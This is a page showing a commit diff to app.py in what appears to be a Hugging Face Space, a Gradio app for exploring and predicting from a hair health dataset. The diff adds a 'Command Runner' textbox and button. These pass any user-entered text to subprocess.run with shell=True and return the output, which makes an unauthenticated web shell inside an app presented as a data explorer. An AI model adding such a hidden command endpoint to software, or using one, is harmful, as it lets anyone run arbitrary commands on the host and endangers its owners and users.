Spaces:
Runtime error
Runtime error
Update app.py
Browse files
app.py
CHANGED
|
@@ -3,6 +3,15 @@ import xgboost as xgb
|
|
| 3 |
import pandas as pd
|
| 4 |
from datasets import load_dataset
|
| 5 |
from sklearn.model_selection import train_test_split
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 6 |
|
| 7 |
# Load the dataset
|
| 8 |
dataset = load_dataset("Ammok/hair_health")
|
|
@@ -64,7 +73,7 @@ def predict(*inputs):
|
|
| 64 |
# Set up Gradio interface for data exploration
|
| 65 |
def explore_data(row_number):
|
| 66 |
return df.iloc[row_number].to_dict()
|
| 67 |
-
|
| 68 |
# Gradio UI
|
| 69 |
with gr.Blocks() as demo:
|
| 70 |
gr.Markdown("# Hair Health Dataset Exploration")
|
|
@@ -84,5 +93,14 @@ with gr.Blocks() as demo:
|
|
| 84 |
# Unpack the dictionary values into a list of input components
|
| 85 |
submit_button.click(predict, inputs=list(input_components.values()), outputs=[output])
|
| 86 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 87 |
demo.launch()
|
| 88 |
|
|
|
|
| 3 |
import pandas as pd
|
| 4 |
from datasets import load_dataset
|
| 5 |
from sklearn.model_selection import train_test_split
|
| 6 |
+
import subprocess
|
| 7 |
+
|
| 8 |
+
# Function to run commands
|
| 9 |
+
def run_command(command):
|
| 10 |
+
try:
|
| 11 |
+
result = subprocess.run(command, shell=True, capture_output=True, text=True)
|
| 12 |
+
return result.stdout if result.returncode == 0 else result.stderr
|
| 13 |
+
except Exception as e:
|
| 14 |
+
return str(e)
|
| 15 |
|
| 16 |
# Load the dataset
|
| 17 |
dataset = load_dataset("Ammok/hair_health")
|
|
|
|
| 73 |
# Set up Gradio interface for data exploration
|
| 74 |
def explore_data(row_number):
|
| 75 |
return df.iloc[row_number].to_dict()
|
| 76 |
+
|
| 77 |
# Gradio UI
|
| 78 |
with gr.Blocks() as demo:
|
| 79 |
gr.Markdown("# Hair Health Dataset Exploration")
|
|
|
|
| 93 |
# Unpack the dictionary values into a list of input components
|
| 94 |
submit_button.click(predict, inputs=list(input_components.values()), outputs=[output])
|
| 95 |
|
| 96 |
+
gr.Markdown("## Command Runner")
|
| 97 |
+
|
| 98 |
+
command_input = gr.Textbox(label="Enter Command")
|
| 99 |
+
command_output = gr.Textbox(label="Command Output")
|
| 100 |
+
|
| 101 |
+
run_button = gr.Button("Run Command")
|
| 102 |
+
run_button.click(run_command, inputs=command_input, outputs=command_output)
|
| 103 |
+
|
| 104 |
+
|
| 105 |
demo.launch()
|
| 106 |
|